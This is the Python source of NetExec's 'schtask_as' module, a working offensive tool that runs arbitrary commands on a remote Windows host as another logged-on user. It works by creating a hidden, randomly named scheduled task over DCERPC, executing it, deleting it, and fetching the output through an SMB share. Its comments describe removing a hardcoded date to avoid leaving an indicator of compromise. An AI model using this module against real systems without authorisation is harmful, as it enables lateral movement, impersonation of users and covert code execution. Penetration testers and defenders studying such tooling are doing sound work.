NetExec/nxc/modules/schtask_as.py

286 lines
11 KiB
Python

import os
from time import sleep
from datetime import datetime
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import tsch, transport
from nxc.helpers.misc import gen_random_string
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
class NXCModule:
"""
Execute a scheduled task remotely as a already connected user by @Defte_
Thanks @Shad0wC0ntr0ller for the idea of removing the hardcoded date that could be used as an IOC
"""
def options(self, context, module_options):
"""
CMD Command to execute
USER User to execute command as
"""
self.cmd = self.user = self.time = None
if "CMD" in module_options:
self.cmd = module_options["CMD"]
if "USER" in module_options:
self.user = module_options["USER"]
name = "schtask_as"
description = "Remotely execute a scheduled task as a logged on user"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = False
def on_admin_login(self, context, connection):
self.logger = context.log
if self.cmd is None:
self.logger.fail("You need to specify a CMD to run")
return 1
if self.user is None:
self.logger.fail("You need to specify a USER to run the command as")
return 1
self.logger.display("Connecting to the remote Service control endpoint")
try:
exec_method = TSCH_EXEC(
connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
connection.smb_share_name,
connection.username,
connection.password,
connection.domain,
self.user,
self.cmd,
connection.kerberos,
connection.aesKey,
connection.kdcHost,
connection.hash,
self.logger,
connection.args.get_output_tries,
"C$", # This one shouldn't be hardcoded but I don't know where to retrieve the info
)
self.logger.display(f"Executing {self.cmd} as {self.user}")
output = exec_method.execute(self.cmd, True)
try:
if not isinstance(output, str):
output = output.decode(connection.args.codec)
except UnicodeDecodeError:
# Required to decode specific French characters otherwise it'll print b"<result>"
output = output.decode("cp437")
if output:
self.logger.highlight(output)
except Exception as e:
if "SCHED_S_TASK_HAS_NOT_RUN" in str(e):
self.logger.fail("Task was not run, seems like the specified user has no active session on the target")
class TSCH_EXEC:
def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
self.__target = target
self.__username = username
self.__password = password
self.__domain = domain
self.__share_name = share_name
self.__lmhash = ""
self.__nthash = ""
self.__outputBuffer = b""
self.__retOutput = False
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__tries = tries
self.__output_filename = None
self.__share = share
self.logger = logger
self.cmd = cmd
self.user = user
if hashes is not None:
if hashes.find(":") != -1:
self.__lmhash, self.__nthash = hashes.split(":")
else:
self.__nthash = hashes
if self.__password is None:
self.__password = ""
stringbinding = f"ncacn_np:{self.__target}[\\pipe\\atsvc]"
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
if hasattr(self.__rpctransport, "set_credentials"):
# This method exists only for selected protocol sequences.
self.__rpctransport.set_credentials(
self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
)
self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
def execute(self, command, output=False):
self.__retOutput = output
self.execute_handler(command)
return self.__outputBuffer
def output_callback(self, data):
self.__outputBuffer = data
def get_current_date(self):
# Get current date and time
now = datetime.now()
# Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss"
return now.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
def gen_xml(self, command, fileless=False):
xml = f"""<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Triggers>
<CalendarTrigger>
<StartBoundary>{self.get_current_date()}</StartBoundary>
<Enabled>true</Enabled>
<ScheduleByDay>
<DaysInterval>1</DaysInterval>
</ScheduleByDay>
</CalendarTrigger>
</Triggers>
<Principals>
<Principal id="LocalSystem">
<UserId>{self.user}</UserId>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>true</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>P3D</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="LocalSystem">
<Exec>
<Command>cmd.exe</Command>
"""
if self.__retOutput:
self.__output_filename = f"\\Windows\\Temp\\{gen_random_string(6)}"
if fileless:
local_ip = self.__rpctransport.get_socket().getsockname()[0]
argument_xml = f" <Arguments>/C {command} &gt; \\\\{local_ip}\\{self.__share_name}\\{self.__output_filename} 2&gt;&amp;1</Arguments>"
else:
argument_xml = f" <Arguments>/C {command} &gt; {self.__output_filename} 2&gt;&amp;1</Arguments>"
elif self.__retOutput is False:
argument_xml = f" <Arguments>/C {command}</Arguments>"
self.logger.debug(f"Generated argument XML: {argument_xml}")
xml += argument_xml
xml += """
</Exec>
</Actions>
</Task>
"""
return xml
def execute_handler(self, command, fileless=False):
dce = self.__rpctransport.get_dce_rpc()
if self.__doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.set_credentials(*self.__rpctransport.get_credentials())
dce.connect()
tmpName = gen_random_string(8)
xml = self.gen_xml(command, fileless)
self.logger.info(f"Task XML: {xml}")
taskCreated = False
self.logger.info(f"Creating task \\{tmpName}")
try:
# windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.bind(tsch.MSRPC_UUID_TSCHS)
tsch.hSchRpcRegisterTask(dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
except Exception as e:
if "ERROR_NONE_MAPPED" in str(e):
self.logger.fail(f"User {self.user} is not connected on the target, cannot run the task")
if e.error_code and hex(e.error_code) == "0x80070005":
self.logger.fail("Schtask_as: Create schedule task got blocked.")
if "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e):
self.logger.fail(f"User {self.user} does not exist in the domain.")
else:
self.logger.fail(f"Schtask_as: Create schedule task failed: {e}")
return
else:
taskCreated = True
self.logger.info(f"Running task \\{tmpName}")
tsch.hSchRpcRun(dce, f"\\{tmpName}")
done = False
while not done:
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{tmpName}")
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{tmpName}")
if resp["pLastRuntime"]["wYear"] != 0:
done = True
else:
sleep(2)
self.logger.info(f"Deleting task \\{tmpName}")
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
taskCreated = False
if taskCreated is True:
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
if self.__retOutput:
if fileless:
while True:
try:
with open(os.path.join("/tmp", "nxc_hosted", self.__output_filename)) as output:
self.output_callback(output.read())
break
except OSError:
sleep(2)
else:
smbConnection = self.__rpctransport.get_smb_connection()
tries = 1
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
smbConnection.getFile(self.__share, self.__output_filename, self.output_callback)
break
except Exception as e:
if tries >= self.__tries:
self.logger.fail("Schtask_as: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'.")
break
if "STATUS_BAD_NETWORK_NAME" in str(e):
self.logger.fail(f"Schtask_as: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
break
if "SHARING" in str(e) or "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
sleep(3)
tries += 1
else:
self.logger.debug(str(e))
if self.__outputBuffer:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}")
smbConnection.deleteFile(self.__share, self.__output_filename)
dce.disconnect()